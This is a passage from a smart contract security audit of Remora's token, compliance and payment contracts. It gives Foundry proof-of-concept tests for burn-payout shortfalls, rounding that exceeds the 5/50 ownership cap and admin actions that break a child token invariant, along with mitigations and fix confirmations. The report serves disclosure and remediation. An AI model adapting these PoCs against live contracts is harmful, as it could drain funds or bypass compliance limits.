        assertEq(centralTokenProxy.preBurnSupply(), 10_000);
        assertEq(centralTokenProxy.totalBurnPayout(), 1_000_000e6);
        assertEq(burnEnabled1, true);

        vm.startPrank(user0);
        d_childTokenProxy.burn(); // burns 5000 tokens
        vm.stopPrank();
        (uint128 usdBal2,,,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal2, 500_000e6);
        assertEq(centralTokenProxy.totalSupply(), 5_000);
        assertEq(centralTokenProxy.preBurnSupply(), 10_000);
        assertEq(centralTokenProxy.totalBurnPayout(), 1_000_000e6);

        // Disable Burning
        centralTokenProxy.disableBurning();
        (,,bool burnEnabled2_5,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(burnEnabled2_5, true); // PaymentSettler still reports that the burn is enabled

        // Mint new tokens and distribute to user1
        centralTokenProxy.mint(address(this), 6_000);
        centralTokenProxy.dynamicTransfer(user1, 6_000);

        uint64 burnFunds1 = 600_000e6;
        paySettlerProxy.enableBurning(address(centralTokenProxy), address(this), burnFunds1);
        (uint128 usdBal3 , , , bool burnEnabled3) =
        ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal3, 1_100_000e6);
        assertTrue(burnEnabled3);
        assertEq(centralTokenProxy.totalSupply(), 11_000);
```

```
        assertEq(centralTokenProxy.preBurnSupply(), 16_000);
        assertEq(centralTokenProxy.totalBurnPayout(), 600_000e6);

        vm.startPrank(user1);
        d_childTokenProxy.burn(); // burn all remaining tokens
        vm.stopPrank();

        (uint128 usdBalEnd , , , ) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBalEnd, 687_500e6);
        assertEq(centralTokenProxy.totalSupply(), 0);
    }

    function test_cyfrin_MintBetweenDisableEnableBurn_Case2() public {
        address user0 = getDomesticUser(0);
        address user1 = getDomesticUser(1);
        centralTokenProxy.mint(address(this), uint64(10000));
        centralTokenProxy.dynamicTransfer(user0, 5000);
        centralTokenProxy.dynamicTransfer(user1, 5000);

        (uint128 usdBal0 , , bool burnEnabled0,) =
        ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal0, 0);
        assertEq(burnEnabled0, false);

        // initiateBurning
        paySettlerProxy.initiateBurning(address(centralTokenProxy));
        skip(1 days + 1);

        uint64 burnFunds0 = 1_000_000e6; // first funding (USD6 units)
        IERC20(address(stableCoin)).approve(address(paySettlerProxy), type(uint256).max);
        paySettlerProxy.enableBurning(address(centralTokenProxy), address(this), burnFunds0);
        (uint128 usdBal1,,bool burnEnabled1,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal1, 1_000_000e6);
        assertEq(centralTokenProxy.totalSupply(), 10_000);
        assertEq(centralTokenProxy.preBurnSupply(), 10_000);
        assertEq(centralTokenProxy.totalBurnPayout(), 1_000_000e6);
        assertEq(burnEnabled1, true);

        vm.startPrank(user0);
        d_childTokenProxy.burn(); // burns 5000 tokens
        vm.stopPrank();
        (uint128 usdBal2,,,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal2, 500_000e6);
        assertEq(centralTokenProxy.totalSupply(), 5_000);
        assertEq(centralTokenProxy.preBurnSupply(), 10_000);
        assertEq(centralTokenProxy.totalBurnPayout(), 1_000_000e6);

        // Disable Burning
        centralTokenProxy.disableBurning();
        (,,bool burnEnabled2_5,) = paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(burnEnabled2_5, true); // PaymentSettler still reports that the burn is enabled

        // Mint new tokens and distribute to user1
        centralTokenProxy.mint(address(this), 6_000);
        centralTokenProxy.dynamicTransfer(user1, 6_000);

        centralTokenProxy.enableBurning(0); // burnPayout parameter ignored
        (uint128 usdBal3 , , , bool burnEnabled3) =
        ↪  paySettlerProxy.tokenData(address(centralTokenProxy));
        assertEq(usdBal3, 500_000e6);
        assertTrue(burnEnabled3);
        uint256 totalSupply3 = centralTokenProxy.totalSupply();
        uint64  preBurnSupply3 = centralTokenProxy.preBurnSupply();
```

```
        uint64  totalBurnPayout3 = centralTokenProxy.totalBurnPayout();
        uint256 valueOfTokens = totalSupply3 * totalBurnPayout3 / preBurnSupply3;

        assertEq(valueOfTokens, 687_500e6);
        assertGt(valueOfTokens, usdBal3);
        assertEq(totalSupply3, 11_000);
        assertEq(preBurnSupply3, 16_000);
        assertEq(totalBurnPayout3, 1_000_000e6);

        vm.startPrank(user1);
        vm.expectPartialRevert(bytes4(keccak256("InsufficientBalance(address)")));
        d_childTokenProxy.burn(); // burn all remaining tokens
        vm.stopPrank();
    }
```

Remora: Fixed at commit a27fae3

Cyfrin: Verified. Burning logic has been refactored to only allow enabling burning once. It is no longer possible to disable an active burning and then re-enable it again.

7.4.4 `FiveFiftyRule::_updateEntityAllowance` rounds in wrong direction for entity allowance subtraction

Description: Function `_updateEntityAllowance` is used to either increase/decrease the entity allowance based on where parameter `add` is `true`/`false`.

When `add == false`, `adjusted_amt` is the amount to subtract. However, it is truncated because division is involved. This means that `aData.allowance - adjusted_amt` will be bigger than the true value.

In the worse case scenario this can mean that the allowance is now too large and that a subsequent transfer to the entity will make it violate the 5/50 rule.

Impact: In extreme cases the 5/50 rule can be violated. The bug identified in Issue *Divide before multiply loses precision in `FiveFiftyRule::_updateEntityAllowance` and leads to caps being exceeded* makes this much more likely as division before multiplication results in values that are much smaller than the true value.

Proof of Concept:

1. This diff will fix bugs that obscure this particular problem.

```
@@ -465,8 +465,8 @@ contract FiveFiftyRule is UUPSUpgradeable, AccessManagedUpgradeable {
         uint256 len = ents.length;
         for (uint256 i; i<len; ++i) {
             EntityData memory a = entityData[ents[i]];
-            if (a.catalyst == inv &&
-                (REMORA_PERCENT_DENOMINATOR / a.equity) * amount >
+            if (a.catalyst == inv &&
+                REMORA_PERCENT_DENOMINATOR * amount / a.equity >
                     entityData[ents[i]].allowance
             ) return false;
         }
@@ -505,16 +505,16 @@ contract FiveFiftyRule is UUPSUpgradeable, AccessManagedUpgradeable {
         // to side changes
         if (to != address(0)) {
             IndividualData storage iTo = individualData[to];
-
+
             if (iTo.isEntity) { // if entity
-                if (entityData[to].allowance <= amount) {
-                    entityData[to].allowance -= SafeCast.toUint64(amount);
+                if (entityData[to].allowance >= amount) {
+                    entityData[to].allowance -= SafeCast.toUint64(amount);

                     iTo.lastBalance += SafeCast.toUint64(amount);
                     emit FiveFiftyApproved(from, to, amount);
```

```
                    return true;
                } else revert ();
```

2. This proof of concept shows that it is possible for the catalyst to have an exposure equal to the 10% (when they should always be below it at 9.999999%).

NOTE: If the "division before multiply" bug from Issue *Divide before multiply loses precision in `FiveFiftyRule::_updateEntityAllowance` and leads to caps being exceeded* is not fixed then a value of `CATALYST_BAL = 700_000` will still not revert leading to the effective cap being exceeded by approximately 2%!

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

import "forge-std/console2.sol";
import {RemoraTestBase} from "../RemoraTestBase.sol";
import {FiveFiftyRule} from "../../../contracts/Compliance/FiveFiftyRule.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {SafeCast} from "@openzeppelin/contracts/utils/math/SafeCast.sol";


contract FiveFiftyRule_RoundingPoC is RemoraTestBase {
    FiveFiftyRule internal fiveFiftyRule;

    // helpers (same as your math discussion)
    uint256 constant DENOM = 1_000_000;

    function setUp() public override {
        RemoraTestBase.setUp();

        // Deploy rule and initialize
        fiveFiftyRule = FiveFiftyRule(address(new ERC1967Proxy(address(new FiveFiftyRule()), "")));
        fiveFiftyRule.initialize(address(accessMgrProxy), 0);

        // Allow our test to call restricted functions on fiveFiftyRule and child
        bytes4[] memory sel = new bytes4[](1);
        sel[0] = FiveFiftyRule.addToken.selector;
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), sel, ADMIN_TOKEN_ID);
        accessMgrProxy.grantRole(ADMIN_TOKEN_ID, address(this), 0);

        bytes4[] memory cs = new bytes4[](2);
        cs[0] = bytes4(keccak256("setFiveFiftyCompliance(address)"));
        cs[1] = bytes4(keccak256("setLockUpTime(uint32)"));
        accessMgrProxy.setTargetFunctionRole(address(d_childTokenProxy), cs, ADMIN_TOKEN_ID);

        // Wire fiveFiftyRule to domestic child; remove lockup
        d_childTokenProxy.setFiveFiftyCompliance(address(fiveFiftyRule));
        d_childTokenProxy.setLockUpTime(0);
    }

    function test_RoundingDown_Allows_ExtraEntityToken_ExceedingLookThroughCap() public {
        // --------------------------
        // Parameters we use for the PoC
        // --------------------------
        // Total supply: large, so we can transfer a very large amount to the catalyst without violating
        ↪  the cap.
        // We'll target a 50% cap for the catalyst (to leave room for a huge direct transfer).
        uint64 totalSupply = 10_000_000;
        uint32 capPercent = 100_000;
        uint64 capAmountMicros = totalSupply * capPercent;

        uint64 equityMu = 333_334;
        uint256 ENTITY_BAL = 1_500_000;
        uint256 CATALYST_BAL = 499_999;
```

```
        centralTokenProxy.mint(address(this), totalSupply);
        fiveFiftyRule.addToken(address(centralTokenProxy));

        // Choose a catalyst (a domestic user) and an entity address
        address entity = getDomesticUser(0);
        address catalyst = getDomesticUser(1);
        address otherInvestor = getDomesticUser(2); // will never directly own any tokens in this
        ↪  example
        address[] memory investors = new address[](2);
        investors[0] = catalyst;
        investors[1] = otherInvestor;

        bytes4[] memory psel = new bytes4[](1);
        psel[0] = bytes4(keccak256("setMaxPercentIndividual(address,uint32)"));
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), psel, ADMIN_TOKEN_ID);
        fiveFiftyRule.setMaxPercentIndividual(catalyst, capPercent);


        bytes4[] memory esel = new bytes4[](2);
        esel[0] = bytes4(keccak256("createEntity(address,address,uint64,uint64,address[])"));
        esel[1] = bytes4(keccak256("setCatalyst(bool,address,address,uint64,uint64)"));
        accessMgrProxy.setTargetFunctionRole(address(fiveFiftyRule), esel, ADMIN_TOKEN_ID);


        uint64 calculatedAllowance = SafeCast.toUint64(totalSupply * 1e6 * capPercent / equityMu);
        console2.log("calculatedAllowance: %s", calculatedAllowance);

        // Check that allowance is correct
        uint256 userProportion = calculatedAllowance * equityMu / 1e6;
        assertEq(userProportion, capAmountMicros - 1);

        uint256 exposure = uint256(ENTITY_BAL)* 1e6 * equityMu / 1e6 + CATALYST_BAL * 1e6;
        console2.log("exposure: %s", exposure);
        assertGe(exposure, capAmountMicros);


        fiveFiftyRule.createEntity(entity, catalyst, equityMu, calculatedAllowance, investors);
        centralTokenProxy.dynamicTransfer(entity, ENTITY_BAL);
        logEntity("0", entity);
        logIndividual("entity 0", entity);
        logIndividual("catalyst 0", catalyst);

        centralTokenProxy.dynamicTransfer(catalyst, CATALYST_BAL);
        logEntity("1", entity);
        logIndividual("entity 1", entity);
        logIndividual("catalyst 1", catalyst);

    }

    function logEntity(string memory s, address entity) internal view {
        FiveFiftyRule.EntityData memory ed = fiveFiftyRule.testing_entityData(entity);
        console2.log("---  EntityData %s ---", s );
        console2.log("catalyst:     %s", ed.catalyst);
        console2.log("equity:       %s", ed.equity);
        console2.log("allowance:    %s", ed.allowance);
    }

    function logIndividual(string memory s, address individual) internal view {
        FiveFiftyRule.IndividualData memory id = fiveFiftyRule.testing_individualData(individual);
        console2.log("---  IndividualData %s ---", s);
        console2.log("isEntity:         %s", id.isEntity);
        console2.log("numCatalyst:      %s", id.numCatalyst);
```

```
        console2.log("groupId:          %s", id.groupId);
        console2.log("customMaximum:    %s", id.customMaximum);
        console2.log("lastBalance:      %s", id.lastBalance);

    }
}
```

Recommended Mitigation: The `adjusted_amt` must be rounded up when `add == false`.

Update the code as below, assuming the existence of `_mulDivFloor` and `_mulDivCeil`, which round down/up respectively. It also includes the fix from Issue *Divide before multiply loses precision in `FiveFiftyRule::_updateEntityAllowance` and leads to caps being exceeded*.

```
function _updateEntityAllowance(bool add, address inv, uint256 amount) internal returns (bool) {
    uint8 numCatalyst = individualData[inv].numCatalyst;
    uint256 len = findEntity[inv].length;

    for (uint256 i; i < len; ++i) {
        if (numCatalyst == 0) break;

        EntityData storage aData = entityData[findEntity[inv][i]];
        if (aData.catalyst != inv) continue;
        --numCatalyst;

        uint256 adjusted;
        if (add) {
            adjusted = _mulDivFloor(amount, REMORA_PERCENT_DENOMINATOR, aData.equity);
            aData.allowance += SafeCast.toUint64(adjusted);
        } else {
            adjusted = _mulDivCeil(amount, REMORA_PERCENT_DENOMINATOR, aData.equity);
            uint64 adj64 = SafeCast.toUint64(adjusted);
            if (adj64 > aData.allowance) return false;
            aData.allowance -= adj64;
        }
    }
    return true;
}
```

Remora: Fixed at commit e12af9d.

Cyfrin: Verified. Implemented recommended mitigation.

7.4.5 In `FiveFiftyRule` add check that `equity != 0` in functions `createEntity` and `setCatalyst`

Description: If `equity` is ever set to zero then `_checkEntityAllowance` will revert on division by zero which will prevent all transfers that pass through the code paths involving `_checkEntityAllowance`.

This will occur any time a transfer involves a transfer to a `to` address which is

- part of a group with an individual that is a catalyst
- is an individual that is a catalyst

Impact: Minimal. Reverts will happen until an admin calls `setCatalyst` to update the `equity` to a non-zero value.

Remora: Fixed at commit 511e7da.

Cyfrin: Verified.

7.5 Informational

7.5.1 Admin could use `CentralToken::transferFrom` after approval to break 1:1 invariant in child token

Description: Function `transfer` contains `_checkAllowedAdmin(to)` which prevents an admin (accidentally or otherwise) sending a `CentralToken` to a `ChildToken` directly.

```
    function transfer(address to, uint256 amount) public override returns (bool) {
        if (amount == 0) return true;
        _checkAllowedAdmin(to);
        return super.transfer(to, amount);
    }
```

However, `transferFrom` is not overridden so it is possible for an admin to:

- `approve` the `CentralToken` contract
- call `transferFrom(address(this), childToken, amount)` (for some `childToken` and `amount`)

This will immediately brick the `ChildToken` contract from minting since `mint` contains this check:

```
function mint(address to, uint256 amount) external whenNotPaused {
...
        if(ICentralToken(cToken).balanceOf(address(this)) != totalSupply() + amount)
            revert CentralBalanceInvariant();
```

Impact: An admin's transfer can permanently disabled `CentralToken::dynamicTransfer` being called when it would send tokens to the `ChildToken` with the broken invariant.

Further, the directly-transferred token could not be recovered using `ChildToken::burn` since it never had a `ChildToken` minted for it.

Proof of Concept: Add this test to `CentralTokenTest.t.sol`

```
function test_cyfrin_brickMintingInChildToken() public {
    address dom = getDomesticUser(0);
    centralTokenProxy.mint(address(this), uint64(4));

    // send 1 token to the child contract directly, after approving
    centralTokenProxy.approve(address(this), type(uint256).max);
    centralTokenProxy.transferFrom(address(this), address(d_childTokenProxy), 1);

    vm.expectRevert(bytes4(keccak256("CentralBalanceInvariant()")));
    centralTokenProxy.dynamicTransfer(dom, 3);
}
```

Recommended Mitigation:

1. Override `transferFrom` with the following definition

```
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
    if (amount == 0) return true;
    _checkAllowedAdmin(to);
    return super.transferFrom(from, to, amount);
}
```

2. It may also be worth disabling the `approve` function if it is not strictly needed
3. It may also be worth updating `Allowlist.addUser` to check whether a user's address is a contract, or if you want to allow contracts, checking that it doesn't satisfy the interface of `ChildToken`

Remora: Fixed at commit 2fc2c11.

Cyfrin: Verified. `transfer()` and `transferFrom()` are overridden, and a validation was added to prevent the recipient from being a ChildToken.

7.5.2 Consider explicitly denying `allowUser` assigning admin privileges to`ChildToken` contracts

Description: The 1:1 invariant of a child token can be broken as follows:

Admin:

- calls `allowUser` on a child token contract
- calls `transfer` to directly send central token to the child token

This breaks the 1:1 invariant.

This is clearly something only a malicious admin would do, so this has been classified as Informational.

Impact: 1:1 invariant of child token is broken, bricking any further minting.

Proof of Concept: Add this to `CentralTokenTest.t.sol`

```
    function test_cyfrin_brickMintingByAllowingChildTokenAsAdmin() public {
        address dom = getDomesticUser(0);
        centralTokenProxy.mint(address(this), uint64(4));

        allowListProxy.allowUser(address(d_childTokenProxy), true, true, true);
        centralTokenProxy.transfer(address(d_childTokenProxy), 1);


        vm.expectRevert(bytes4(keccak256("CentralBalanceInvariant()")));
        centralTokenProxy.dynamicTransfer(dom, 3);
    }
```

Remora: Fixed at commit 2fc2c11.

Cyfrin: Verified. `transfer()` and `transferFrom()` are overridden preventing ChildTokens from receiving CentralTokens via a direct transfer or transferFrom.

7.5.3 Logic of `FiveFiftyRule::checkCanTransfer` and `FiveFiftyRule::canTransfer` can subtle differ

Description: There are subtle differences in the `checkCanTransfer` and `canTransfer` functions on the `FiveFiftyRule` contract that could make the result of the execution on both of them differ. The most notable difference is shown on the snippet below:

1. On `canTransfer`, it considers the `gid` on the conditional
2. On `checkCanTransfer`, it doesn't consider the `gid` on the conditional

```
//FiveFiftyRule.sol//
    function canTransfer(address from, address to, uint256 amount) external returns (bool) {
        ...

        // to side changes
        if (to != address(0)) {
            ...
            } else if (gId == 0 && iTo.numCatalyst != 0 &&
                !_updateEntityAllowance(false, to, amount)
            ) revert();

            ...
        }

        ...
    }

function checkCanTransfer(
    address to,
    uint256 amount
) external view returns (bool _output) {
```

```
    ...
    } else if (iData.numCatalyst != 0 &&
        !_checkEntityAllowance(to, amount)
    ) return false;

    ...
}
```

Recommended Mitigation: Consider making them have the same logic by factoring out common logic into internal functions.

Remora: Acknowledged.

Cyfrin: Verified.

7.5.4 `TokenBank::setCustodian` should ensure custodian has ADMIN privileges

Description: If the `TokenBank::setCustodian` is called and they don't have ADMIN privileges then `TokenBank::removeToken` will revert since the call to `safeTransfer` will indirectly call `CentralToken.transfer` which has this implementation:

```
    function transfer(address to, uint256 amount) public override returns (bool) {
        if (amount == 0) return true;
        _checkAllowedAdmin(to);
        return super.transfer(to, amount);
    }
```

Impact: Minimal since admin can always just call `setCustodian` again or give ADMIN privileges to the custodian.

Recommended Mitigation: Add one line to `setCustodian`

```
require(allowlist.allowed(newCustodian) && allowlist.isAdmin(newCustodian),
        "Custodian must be allowlist admin");
```

Remora: Fixed at commit a3ae706

Cyfrin: Verified.

7.5.5 Extra validation on `CentralToken::addChildToken` will prevent adding incorrect `ChildToken`

Description: Currently, it is possible to:

- Create a `childToken0` which sets `centralToken0` as its parent
- For a different central call `centralToken1::addChildToken(centralToken0)`

Recommended Mitigation: To prevent this mismatch the following extra validation is recommended:

```
+  error ChildTokenNotChildOfThis();
```

```
  interface IChildRWAToken {
+     function centralToken() external view returns (address);
      function domestic() external view returns (bool);
      function distributePayout(uint128 amount) external;
      function mint(address to, uint256 amount) external;
      function balanceOf(address account) external view returns (uint256);
      function toggleBurning(bool newState) external;
      function togglePause(bool newState) external;
}
```

```
    function addChildToken(
        address tokenAddress
```

```
    ) external nonReentrant restricted {
        if (tokenAddress == address(0) || tokenAddress.code.length == 0)
            revert InvalidAddress();

+       if (IChildRWAToken(tokenAddress).centralToken() != address(this)) revert
↪   ChildTokenNotChildOfThis();
        // 0 for domestic, 1 for foreign
        bool isDomestic = IChildRWAToken(tokenAddress).domestic();
        uint256 childIndex = isDomestic ? 0 : 1;


        if (childTokens[childIndex] != address(0)) revert ChildTokenAlreadyExists();
        childTokens[uint256(childIndex)] = tokenAddress;

        emit ChildTokenAdded(tokenAddress, isDomestic);
    }
```

Remora: Fixed at commit 846851a.

Cyfrin: Verified.

7.5.6 Consider using struct instead of an array for the domestic and foreign child tokens

Description: The `CentralToken` code could probably be simplified by using the following data structure for child tokens.

```
    struct Children {
        address domestic;
        address foreign;
    }

    Children private children;
```

This should lead to greater code clarity. Currently one has to remember that 0 = domestic and 1 = foreign.

This helper function could then be used wherever you currently iterate over the children to retain convenience.

```
    function _forEachChild(function(address) internal fn) internal {
        address a = children.domestic; if (a != address(0)) fn(a);
        a = children.foreign;  if (a != address(0)) fn(a);
    }
```

Remora: Fixed at commit f753fac.

Cyfrin: Verified.